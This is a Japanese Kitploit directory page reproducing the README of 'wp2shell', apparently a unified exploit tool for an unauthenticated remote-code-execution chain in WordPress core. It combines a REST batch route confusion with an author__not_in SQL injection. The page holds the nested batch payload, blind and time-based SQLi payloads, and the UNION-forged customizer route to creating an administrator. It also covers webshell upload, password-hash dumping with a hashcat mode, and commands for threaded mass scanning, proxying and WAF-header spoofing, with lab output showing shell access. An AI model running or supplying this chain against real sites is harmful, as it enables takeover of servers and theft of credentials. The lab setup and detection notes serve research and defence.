Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
wp2shell — CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: WordPressコアの未認証RCE | Kitploit
ツール/GitHubGitHub/0xsha/wp2shell
パスワードクラッキング脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロール学習と教育レッドチーミングペイロード開発ラボと実践
GitHub0xsha/wp2shell

wp2shell

96301ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: WordPressコアの未認証RCE

リポジトリを見る

CVE-2026-63030 + CVE-2026-60137 - 「wp2shell」: WordPress コアにおける未認証 RCE

REST API の バッチルート混同 (CVE-2026-63030) と WP_Query author__not_in SQL インジェクション (CVE-2026-60137) を連鎖させ、デフォルトの WordPress インストールに対する 事前認証リモートコード実行 を実現します。

発見者: Adam Kues (Assetnote / Searchlight Cyber)、2026-07-17 公開。 アドバイザリ: GHSA-ff9f-jf42-662q、 GHSA-fpp7-x2x2-2mjf。

連鎖 (未認証 RCE)WordPress 6.9.0 - 6.9.4 および 7.0.0 - 7.0.1
SQLi のみ (支援プラグイン/テーマが必要)6.8.0 - 6.8.5
影響なしバッチ混同については ≤ 6.8。6.9.5 / 7.0.2 / 7.1-beta2 (パッチ済み)
前提条件REST API に到達可能。永続オブジェクトキャッシュなし (Redis/Memcached)。公開済み投稿が 1 件以上
必要な認証なし
影響未認証 → 新しい管理者の作成 → コード実行 (SQLi は管理者ハッシュも取得)

Demo

https://github.com/user-attachments/assets/7f9cc52c-3f31-4339-9192-e31e506684f6

このリポジトリが追加するもの

  • 6 つの公開 PoC のベストを 1 ファイルに統合した、オリジナルの stdlib のみのツール (wp2shell.py)。requests 依存なし、壊れた機能もありません。
  • 完全なクラック不要 RCE。ラボでエンドツーエンド検証済み: 資格情報なしの shell は、単一投稿 UNION 混同で偽の WP_Post を偽造し、カスタマイザーを橋渡しして新しい管理者を作成 (POST /wp/v2/users)、ログインし、トークンゲート付きウェブシェルを配置します。SQLi による管理者ハッシュのダンプ (read --preset users) は、検証済みの第 2 の経路として残されています。
  • バージョンに依存しない混同検出器 (block_cannot_read)。非破壊的な check の主要シグナルとして使用。
  • すべてのコマンドで本番向けトランスポート: 自己署名 TLS、カスタムヘッダー、カスタム User-Agent、プロキシ、リトライ、リクエスト遅延。
  • 他の PoC にはない、検証済みの 6.8.x 支援 SQLi 経路 (sqli)。
  • 再現可能な Docker ラボと、DB 別のバージョン信頼性マトリクス。すべての結果はラボで検証済み。
  • 新しい $wp$2y$ パスワードハッシュ用の hashcat モード (-m 35500)。
root@kitploit:~
wp2shell/
├── README.md              ← you are here
├── wp2shell.py            ← the unified PoC (single file, stdlib only, by 0xsha)
└── lab/                   ← reproducible Docker labs + reliability matrix
    ├── docker-compose.yml         (default 6.9.4 lab)
    ├── docker-compose.matrix.yml  (parameterised: any version × MySQL/MariaDB)
    ├── docker-compose.sqli.yml    (6.8.3 "SQLi only" lab)
    ├── matrix.sh                  (runs the whole reliability matrix)
    └── sqli-only/facilitator.php  (mu-plugin: the 6.8.x facilitating sink)

このツールが参照する 6 つの公開 PoC はここに同梱されていません。クレジット にリンクがあります。

以下はすべてローカル Docker ラボで検証済みです (§4 を参照)。ラボで実行されなかった主張は、その旨が明記されています。


1. 脆弱性の詳細 - コード深掘り

この連鎖は 2 つの独立したバグを組み合わせたものです。行番号は実際の WordPress 6.9.4 ソースからのものです (wordpress:6.9.4-apache から抽出)。

バグ A - author__not_in SQL インジェクション (CVE-2026-60137)

wp-includes/class-wp-query.php, WP_Query::get_posts():

root@kitploit:~
2403  if ( ! empty( $query_vars['author__not_in'] ) ) {
2404      if ( is_array( $query_vars['author__not_in'] ) ) {                 // ← guard only fires for ARRAYS
2405          $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
2406          sort( $query_vars['author__not_in'] );
2407      }
2408      $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );   // ← string passes straight through
2409      $where         .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";  // ← raw interpolation
2410  } elseif ( ! empty( $query_vars['author__in'] ) ) {
...
2415      $author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) );  // ← absint INSIDE implode

文字列の author__not_in は is_array() ガード (2404) をすり抜けます。implode(',', (array)"…") はそれをそのまま返し (2408)、SQL に直接連結されます (2409)。兄弟にあたる author__in (2415) は implode の内側で array_map('absint', …) を再適用しており安全です。欠けているのはその array_map 1 つ、これがバグです。 値は ... post_author NOT IN (<value>) ... として挿入されるため、0) <sql>-- - で リストを閉じて SQL を追加できます。

そこに文字列を渡すのが難しい部分です。REST 投稿エンドポイントは author_exclude → author__not_in をマッピングしますが (class-wp-rest-posts-controller.php:247)、整数の 'type' => 'array' として宣言しているため、コアは文字列を変換/拒否します:

root@kitploit:~
GET /wp-json/wp/v2/posts?author_exclude=1) OR SLEEP(3)-- -
→ 400 "author_exclude[0] is not of type integer."      (verified on 6.8.3)

だからこそ、バグ A 単独では*「支援あり」*の状態に過ぎません。バグ B が 6.9+ で検証をすり抜けて文字列を送り込みます。

バグ B - REST バッチルート混同 (CVE-2026-63030)

wp-includes/rest-api/class-wp-rest-server.php, serve_batch_request_v1():

root@kitploit:~
1720  if ( false === $parsed_url ) {
1721      $requests[] = new WP_Error( 'parse_path_failed', … );   // a bad path becomes a WP_Error IN $requests

1749  foreach ( $requests as $single_request ) {
1750      if ( is_wp_error( $single_request ) ) {
1752          $validation[] = $single_request;     // ← pushed to $validation …
1753          continue;                            // ← … but $matches is SKIPPED
1754      }
1757      $matches[] = $match;                     // ← $matches only grows for VALID requests

1825  foreach ( $requests as $i => $single_request ) {   // indexed by position in $requests
1841      $match = $matches[ $i ];                        // ← $matches is SHORTER → +1 shift
1861      $result = $this->respond_to_request( $single_request, $route, $handler, $error );

WP_Error サブリクエストは $validation[] (1752) にはプッシュされますが、$matches[] にはプッシュされません (1753 の continue が 1757 をスキップするため)。その結果 $matches は短くなり、$matches[$i] (1841) には次のリクエストのハンドラーが入ります。リクエスト i はリクエスト i+1 のハンドラーでディスパッチされ、自身のパラメーターと自身の (検証済みの) 検証結果を保持します。

回帰の発生源 (6.8.3 → 6.9.4 の差分で検証): 6.8.3 ではループはすべてのリクエストに対して $matches[] = $match をプッシュし、不正なパスは最初のループで破棄されるため、配列は整列したままで不整合は発生しません。6.9.0 のリファクタリングでこのズレが導入されました。これこそが、6.8.x が「SQLi のみ」であり、RCE チェーンが 6.9.0 から始まる理由です。

文書化された修正 (6.9.5 / 7.0.2)

パッチはエラーエントリに対しても $matches[] を追加し、再入を堅牢化し、author__not_in を ID リストヘルパーで解析します。(6.9.5 はテスト時に Docker Hub になかったため、これはアドバイザリからの情報であり、ラボ内差分ではありません。)


2. 悪用手法

2.1 二重ルート混同

バッチスキーマは POST/PUT/PATCH/DELETE サブリクエストのみを許可しますが、投稿の get_items (author_exclude シンク) は GET のみです。そのため混同は2 回入れ子になります:

root@kitploit:~
// OUTER batch → POST /wp-json/batch/v1
{"requests": [
  {"method":"POST","path":"///"},                       // [0] bad path → WP_Error → +1 shift
  {"method":"POST","path":"/wp/v2/posts",               // [1] carrier: validated as a posts CREATE →
     "body": { /* INNER batch */ }},                     //     its `requests` body is never schema-checked
  {"method":"POST","path":"/batch/v1",                  // [2] handler → [1] dispatched as serve_batch_request_v1
     "body":{"requests":[]}}                             //     (no permission_callback → unauthenticated)
]}
// INNER batch (GET now allowed):
//   [0] POST ///                                        WP_Error → inner +1 shift
//   [1] GET /wp/v2/users?author_exclude=<PAYLOAD>       users has no author_exclude → PAYLOAD passes untouched
//   [2] GET /wp/v2/posts                                [2]'s handler = posts get_items → runs [1] → SQLi

/// は不整合のプライマーです (wp_parse_url() が拒否する任意のパスで動作します)。ツールには同じトリックの --variant categories 版も同梱されています。

2.2 SQLi を使わずに混同を検出する

単一の非破壊的でバージョン非依存のプローブにより、SQLi シンクがオブジェクトキャッシュや WAF でフィルタリングされている場合でも CVE-2026-63030 を確認できます。不整合により POST /wp/v2/posts が ブロックレンダラーの権限コールバックによって応答される、POST サブリクエストのバッチを使います:

root@kitploit:~
responses[1].code == "block_cannot_read"    ← a permission error from a handler it never asked for

wp2shell.py check はこれを主要シグナルとして使用します (構造的な投稿対タグの形状をフォールバックとして)。(検出手法: Hadrian / Icex0。)

2.3 インジェクションからデータ抽出へ (ブラインド)

値は NOT IN (<value>) の中にあり、これはクリーンなブールオラクルです。0) AND (<cond>)-- - は <cond> が真の場合にのみ行を返します。抽出は ASCII(SUBSTRING(COALESCE((expr),''),n,1)) に対する 1 文字ずつのバイナリサーチです (COALESCE により、NULL が空読み取りに短絡するのを防ぎます)。

ラボメモ - 時間ベースは注意が必要。 単純な 0) OR SLEEP(n)-- - はデフォルトインストールでは遅延が発生しません。公開済みの行が最初にクエリを満たし、OR を短絡させるためです。確認は決定的なブール差分を使用します。タイミングは 0) AND (SELECT 1 FROM (SELECT SLEEP(n))_z)-- - を使います。実測 0.01 秒 vs 3.04 秒。

2.4 インジェクションからシェルへ (RCE) - クラック不要

実用的な RCE にはパスワードもクラックも不要です。資格情報なしの shell が完全なチェーンを実行します。すべてラボで検証済み:

  1. 偽の WP_Post プリミティブ。 別の混同バリアントが、クリーンで UNION 可能なクエリに到達します。/wp/v2/posts/999999?orderby=none&per_page=500 は 単一投稿アイテムスキーマに対して検証され (そのためコレクション限定パラメータは未チェックで通過)、 その後投稿コレクションハンドラーに不整合を起こさせます。orderby=none は末尾の ORDER BY を削除し、per_page=500 は WP_Query を全行モードに保つため、 UNION SELECT が偽造された wp_posts 行として生き残ります。
  2. SQLi からカスタマイザーへの橋渡し。 oembed_cache + customize_changeset (その user_id は UNION 経由で読み取った既存管理者の ID に設定) + nav_menu_item 行を偽造します。oEmbed をトリガーすると、カスタマイザーの変更セットが その管理者として実行されます。

以前からの代替手段 (--user/--password)。 read --preset users は wp_users.user_pass をダンプします (WordPress 6.9 の $wp$2y$… = HMAC-SHA384 上の bcrypt。hashcat -m 35500 でクラック可能)。その後 shell --user/--password で復元した平文を使ってログインします。 実際に機能しますが、bcrypt のため時間がかかるので、上記の管理者作成チェーンが正規の経路です。

2.5 6.8.x の「SQLi のみ」経路

6.8.x にはバグ A がありますがバグ B はなく、コアは author_exclude を int 配列に変換するため、SQLi は WP_Query に生の文字列を渡す支援 (facilitating) プラグイン/テーマを通じてのみ到達可能です。sqli サブコマンドはそのようなシンクに直接インジェクションします (デフォルトは時間ベース、--true-contains で高速ブール)。6.8.3 の lab/sqli-only ファシリテーターに対して実証済みです。


3. 使用方法

3.1 統合 PoC - wp2shell.py

単一ファイル、Python 3.7+、標準ライブラリのみ。全コマンドで本番対応トランスポート: --insecure (自己署名 TLS)、-H 'K: V' (繰り返し可能)、--user-agent、--proxy、--retries、--delay。

root@kitploit:~
check   fingerprint + confusion marker + confirm the SQLi (non-destructive)
read    read the DB via blind SQLi     (--preset fingerprint|users | --query "SELECT …")
shell   RCE: admin login → token-gated plugin webshell → run commands (-i for a REPL)
sqli    author__not_in SQLi against a direct/facilitated sink (6.8.x, or any plugin sink)
scan    threaded vuln-check over a single URL OR a .txt list   (--prove, --json)
root@kitploit:~
./wp2shell.py check https://target
./wp2shell.py read  https://target --preset users            # logins + $wp$2y$ hashes (+ hashcat hint)
./wp2shell.py read  https://target --query "SELECT @@version"
./wp2shell.py shell https://target --cmd id                  # crack-free: creates an admin, then webshell
./wp2shell.py shell https://target -i                        # interactive shell
./wp2shell.py shell https://target --user admin --password '<cracked>' --cmd id   # or reuse an existing admin
./wp2shell.py scan  https://target --prove                   # single URL, extract @@version as proof
./wp2shell.py scan  targets.txt --threads 10 --json out.json # a .txt of targets
./wp2shell.py sqli  https://target --endpoint '/?plugin_route=1' --param author_not_in --true-contains ROWS:YES

# prod knobs: self-signed TLS, WAF header, Burp, rate-limit
./wp2shell.py check https://target --insecure -H 'X-Forwarded-For: 127.0.0.1' --proxy http://127.0.0.1:8080 --delay 0.2

3.2 ラボ

root@kitploit:~
# default vulnerable lab (WordPress 6.9.4 + MariaDB), http://localhost:8080
docker compose -f lab/docker-compose.yml up -d
docker compose -f lab/docker-compose.yml logs -f wpcli      # wait for "LAB READY"
./wp2shell.py check http://localhost:8080
docker compose -f lab/docker-compose.yml down -v

bash lab/matrix.sh                                           # full version × DB matrix

# "SQLi only" lab (6.8.3 + facilitating mu-plugin), http://localhost:8082
docker compose -f lab/docker-compose.sqli.yml up -d
./wp2shell.py sqli http://localhost:8082 --endpoint '/?wp2shell_faccheck=1' \
     --param author_not_in --true-contains ROWS:YES --preset fingerprint

ラボ管理者は admin / Admin!2345 です。平文が分かっているのは、ラボで認証後 shell をデモするためだけであり、実際の攻撃者はハッシュを取得してクラックします。


4. バージョン & DB マトリクス - 実際にテストした内容

DB スコープは MySQL と MariaDB のみです。WordPress コアは本番環境で他のエンジンをサポートしていません (PostgreSQL/MSSQL ドライバなし。SQLite は希少なプラグイン経由のみ)。

すべてのコマンドをラボで実行済み: check (マーカー block_cannot_read + ブール + 時間)、read (fingerprint / users / --query)、shell (クラック不要の create-admin → ログイン → ウェブシェル → uid=33(www-data)、さらに --user/--password と対話的 REPL)、sqli (ブール + 時間)、scan (単一 URL + .txt + --json + --prove)、--variant categories ペイロード、エンドポイント自動検出 (/wp-json/ + ?rest_route=)、およびトランスポートフラグ。

root@kitploit:~
$ ./wp2shell.py check http://localhost:8080
[+] Batch endpoint reachable and unauthenticated (HTTP 207) at http://localhost:8080/wp-json/batch/v1
[+] Route confusion ACTIVE - categories request answered by the block-renderer handler (block_cannot_read); CVE-2026-63030 confirmed.
[+] SQL injection CONFIRMED - boolean-blind differential over author__not_in (CVE-2026-60137).
[+] Time-based channel also confirmed - baseline 0.02s vs injected 3.04s.

$ ./wp2shell.py read http://localhost:8080 --preset users
[+] 1|admin|$wp$2y$10$IUUVXuWQ45USOc/rkRAcduAEvyYmHNabvfWFBMq5ApR9RGau6Fxx.
[*] crack the $wp$2y$ hashes with:  hashcat -m 35500 …

$ ./wp2shell.py shell http://localhost:8080 --cmd id
[*] No credentials supplied - creating a fresh administrator pre-auth (no hash, no crack) ...
[+] Administrator created: wp2_950eeb3deda8 / Wp2!...  (borrowed admin id 1)
[+] Authenticated.
uid=33(www-data) gid=33(www-data) groups=33(www-data)

5. クレジット

  • 脆弱性の調査と公開: Adam Kues - Assetnote / Searchlight Cyber (「wp2shell」)、2026-07-17。
  • アドバイザリ: GHSA-ff9f-jf42-662q、 GHSA-fpp7-x2x2-2mjf。 解説記事: Rapid7、 Beazley Labs、 Hadrian (block_cannot_read 検出のアイデア)、 VulnCheck。
  • 技術クレジット (各 PoC は wp2shell.py 内でゼロから再実装されており、コードの逐語的なコピーはありません):
    • attackercan/wp2shell-poc2 - 検証済みの入れ子二重混同コア、ブラインド抽出器、トークンゲート付きウェブシェル + REPL。
    • sergiointel/wp2shell-poc - クラック不要の事前認証管理者作成テクニック: 単一投稿ルート混同で偽の WP_Post を偽造し、oembed_cache + customize_changeset (user_id=admin) + nav_menu_item グラフを駆動してカスタマイザーを既存管理者として実行させ、その後 で新しい管理者を作成します。

法的 / 許可された使用

許可されたセキュリティテストと教育のみを対象としています。自分が所有するシステム、または書面でテストを許可されたシステムに限ります。ここでのすべての悪用は、ローカルの使い捨て Docker ラボに対して実行されました。ウェブシェルはトークンゲートされており、デフォルトコマンドは無害です。使用方法については、ご自身の責任でお願いします。

ツールをダウンロード
  • 新しい管理者の作成。 同じバッチ内で、roles:["administrator"] を指定した POST /wp/v2/users が、借用した管理者コンテキストで成功し、新しい wp2_* 管理者が wp_users に現れます (検証済み: 新しい管理者行)。
  • ログイン + ウェブシェル。 生成した資格情報で認証し、update.php?action=upload-plugin 経由でトークンゲート付きプラグインをアップロードしてコマンドを実行します。 検証済み: uid=33(www-data)。
  • WordPressDB エンジン経路check抽出データ
    6.9.4MariaDB 11バッチチェーン✅ 完全な RCE管理者 $wp$2y$… ハッシュ + @@version
    7.0.1MariaDB 11バッチチェーン✅ 完全な RCE管理者ハッシュ
    6.9.4MySQL 8.4バッチチェーン✅ 完全な RCE管理者ハッシュ (ペイロードは移植可能)
    6.8.3MariaDB 11バッチチェーン⛔ 207 だが混同なし- (アドバイザリと一致)
    6.8.3MariaDB 11支援 sqli✅ CVE-2026-60137@@version、user、db - ブール および 時間ベース
    POST /wp/v2/users
  • Icex0/wp2shell-poc - 私が適応したそのチェーンの実装 (union_inject 単一投稿混同、UnionSQLi、PreAuthAdminCreator)、block_cannot_read マーカー検出器、NULL 安全な COALESCE 抽出、ジッター耐性のあるタイミング。
  • Senanfurkan/wordpress-cve-2026-63030 - バージョンフィンガープリント/分類と構造的ルート混同テスト。
  • Lutfifakee-Project/wp2shell - 大量スキャン。
  • NULL200OK/WP2Shell - JSON レポート。
  • ekomsSavior/wp2shell - 対話型 UX のインスピレーション。
  • ハッシュクラックモード ($wp$2y$ → hashcat -m 35500): hashpwn / hashcat。